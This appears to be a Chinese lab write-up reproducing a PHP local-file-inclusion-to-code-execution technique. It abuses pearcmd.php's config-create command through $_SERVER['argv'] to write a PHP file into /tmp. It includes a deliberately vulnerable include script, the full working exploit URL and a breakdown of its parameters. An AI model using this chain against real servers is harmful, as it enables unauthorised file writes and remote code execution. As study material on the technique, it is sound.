主要是复现P神的这篇文章:https://tttang.com/archive/1312/。
里面有些知识不太了解,就自己总结一下。
原理
基础知识一
pear:pear(PHP Extension and Application Repository)是php的扩展与应用库
pearcmd.php:在我的理解中它是pear的命令行工具,通过pearcmd.php可以以命令行的方式执行一些操作
pearcmd.php中可用的命令:
重点关注划红线的config-create,这个命令作用是为pear创建默认配置文件
使用方法:
这个命令有两个参数:root path
和 filename
,执行该命令后
php pearcmd.php config-create <root path> <filename>
实际操作一下:
#错误命令,因为<root path>为绝对路径,必须以/开头
php pearcmd.php config-create 123 /tmp/123.txt
#正确命令
php pearcmd.php config-create /123 /tmp/123.txt
/tmp/123.txt文件:
123
出现在其中
基础知识二
$_SERVER['argv']:传递给该脚本的参数。当脚本通过 GET 方式调用时,该变量会包含query string(就是get请求中?之后的内容)
- $_SERVER['argv'][0] 指向程序运行的全路径名
- $_SERVER['argv'][1] 指向在命令行中执行程序名后的第一个字符串
- $_SERVER['argv'][2] 指向执行程序名后的第二个字符串
- 依次类推
$_SERVER['argc']:传递给程序的命令行参数的个数
php.ini中register_argc_argv默认为Off(性能原因),当开启了这个选项,用户的输入将会被赋予给$_SERVER['argc']
或$_SERVER['argv']
两个个变量。
注意用户的输入,可以是在命令行中的输入(保存到$_SERVER['argc']),也可以是在GET请求中的输入(保存到$_SERVER['argv'])
实际操作验证一下:
- 首先要在php.ini中开启register_argc_argv选项
创建一个test.php文件,内容为:
<?php var_dump($_SERVER['argv']);?>
访问localhost/test.php?a+b:
用户的输入保存到了$_SERVER['argv']中,并且以'+'分割(重点)
原理
如果上面两个基础知识理解了,原理也就呼之欲出了。
原理就是下面这条命令,这条命令可写一个含有<?=phpinfo()?>
的php文件:
php pearcmd.php config-create /<?=phpinfo()?> /tmp/hello.php
但是如何让目标服务器执行这条命令?答案是文件包含+$_SERVER['argv']
- 通过文件包含引入pearcmd.php
- 通过控制get请求参数来控制$_SERVER['argv'],进而控制当前脚本的命令行参数
复现
环境准备
Linux虚拟机(我使用的是centos7)
php版本 < 7.4(我使用的是phpstudy集成环境,php版本为7.2.21,使用时需要关闭open_basedir)
- 开启register_argc_argv:
#/usr/local/phpstudy/soft/php/php-7.2.21/etc/php.ini
register_argc_argv = On
创建一个存在文件包含漏洞文件(test.php):
<?php include $_REQUEST['file'];?>
exp:
http://localhost/test.php?+config-create+/&file=/usr/local/phpstudy/soft/php/php-7.2.21/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
exp中传了四个argv参数,和三个get参数,是按照argv参数的顺序来写的:
# argv参数,通过+分隔。传入的命令行参数是从$_SERVER['argv'][1]开始的,所以$_SERVER['argv'][0]必须为空
$_SERVER['argv'][0] = ""
$_SERVER['argv'][1] = "config-create"
$_SERVER['argv'][2] = "/&file=/usr/local/phpstudy/soft/php/php-7.2.21/lib/php/pearcmd.php&/<?=phpinfo()?>"
$_SERVER['argv'][3] = "/tmp/hello.php"
# get参数,通过&分隔,其中只有$_GET['file']有用
$_GET['config-create_/'] = ""
$_GET['file'] = "/usr/local/phpstudy/soft/php/php-7.2.21/lib/php/pearcmd.php"
$_GET['/<?'] = "phpinfo()?> /tmp/hello.php"
返回结果中将<和>,url编码了,所以用burpsuite抓包修改:
利用文件包含访问/tmp/hello.php:
至此复现成功